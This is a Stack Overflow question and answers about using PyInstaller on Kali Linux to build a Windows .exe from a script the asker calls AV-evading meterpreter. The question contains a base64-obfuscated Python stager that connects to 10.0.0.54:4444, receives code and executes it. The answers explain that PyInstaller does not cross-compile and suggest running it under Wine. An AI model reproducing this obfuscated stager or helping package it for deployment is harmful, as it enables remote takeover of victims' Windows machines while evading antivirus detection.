-1

I am compiling a Python code on Kali Linux. I want to produce an .exe file to run on Windows. These are the following settings for PyInstaller:

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe

and the code is just meterpreter with some comments to avoid Anti-virus detection. The following code is:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))

When I compile it, I receive a .ELF file instead of .EXE. Maybe I could have the directory wrong? I do not think this is so, as I have checked most directories associated with PyInstaller. I have read the guide to PyInstaller, but it seems to be of no use. Is there any solution to compile Python code on Linux to get a .exe file for Windows?

Makyen
  • 31,849
  • 12
  • 86
  • 121
  • 1
    Possible duplicate of [How to create OS X app with Python on Windows](https://stackoverflow.com/questions/34772216/how-to-create-os-x-app-with-python-on-windows) – ivan_pozdeev Sep 10 '18 at 03:29

2 Answers2

2

From the documentation:

The output of PyInstaller is specific to the active operating system and the active version of Python. This means that to prepare a distribution for:

  • a different OS
  • a different version of Python
  • a 32-bit or 64-bit OS

you run PyInstaller on that OS, under that version of Python. The Python interpreter that executes PyInstaller is part of the bundle, and it is specific to the OS and the word size.

You cannot generate a .exe under Kali running its Python.

Community
  • 1
  • 1
Ignacio Vazquez-Abrams
  • 776,304
  • 153
  • 1,341
  • 1,358
1

Ignacio's answer is correct. The Linux version of pyinstaller will not build Windows PEs.

A [convoluted] workaround is install wine, then install python on wine (and pyinstaller on wine).

Then run wine's pyinstaller to build the exe.

SW_user2953243
  • 334
  • 1
  • 12